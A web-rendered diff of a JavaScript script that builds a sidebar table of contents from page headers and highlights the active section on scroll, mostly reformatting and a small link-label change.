const autoCreatePagetoc = () => {
|
||||
const main = document.querySelector("#content > main");
|
||||
const main = document.querySelector("#content > main")
|
||||
const content = Object.assign(document.createElement("div"), {
|
||||
className: "content-wrap"
|
||||
});
|
||||
content.append(...main.childNodes);
|
||||
main.prepend(content);
|
||||
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
|
||||
return document.querySelector(".pagetoc");
|
||||
};
|
||||
className: "content-wrap",
|
||||
})
|
||||
content.append(...main.childNodes)
|
||||
main.prepend(content)
|
||||
main.insertAdjacentHTML(
|
||||
"afterbegin",
|
||||
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
|
||||
)
|
||||
return document.querySelector(".pagetoc")
|
||||
}
|
||||
const updateFunction = () => {
|
||||
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
const scrolledY = window.scrollY;
|
||||
let lastHeader = null;
|
||||
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
const scrolledY = window.scrollY
|
||||
let lastHeader = null
|
||||
|
||||
// Find the last header that is above the current scroll position
|
||||
for (let i = headers.length - 1; i >= 0; i--) {
|
||||
if (scrolledY >= headers[i].offsetTop) {
|
||||
lastHeader = headers[i];
|
||||
break;
|
||||
lastHeader = headers[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children];
|
||||
pagetocLinks.forEach(link => link.classList.remove("active"));
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children]
|
||||
pagetocLinks.forEach((link) => link.classList.remove("active"))
|
||||
|
||||
if (lastHeader) {
|
||||
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
|
||||
if (activeLink) activeLink.classList.add("active");
|
||||
const activeLink = pagetocLinks.find(
|
||||
(link) => lastHeader.href === link.href
|
||||
)
|
||||
if (activeLink) activeLink.classList.add("active")
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
window.addEventListener('load', () => {
|
||||
const pagetoc = getPagetoc();
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
headers.forEach(header => {
|
||||
window.addEventListener("load", () => {
|
||||
const pagetoc = getPagetoc()
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
headers.forEach((header) => {
|
||||
const link = Object.assign(document.createElement("a"), {
|
||||
textContent: header.text,
|
||||
href: header.href,
|
||||
className: `pagetoc-${header.parentElement.tagName}`
|
||||
});
|
||||
pagetoc.appendChild(link);
|
||||
});
|
||||
updateFunction();
|
||||
listenActive();
|
||||
window.addEventListener("scroll", updateFunction);
|
||||
});
|
||||
|
||||
className: `pagetoc-${header.parentElement.tagName}`,
|
||||
})
|
||||
if (header.parentElement.querySelectorAll("a").length === 2) {
|
||||
link.textContent = header.parentElement.querySelectorAll("a")[1].text
|
||||
}
|
||||
pagetoc.appendChild(link)
|
||||
})
|
||||
updateFunction()
|
||||
listenActive()
|
||||
window.addEventListener("scroll", updateFunction)
|
||||
})
|
||||
|
Loading…
x
Reference in New Issue
Block a user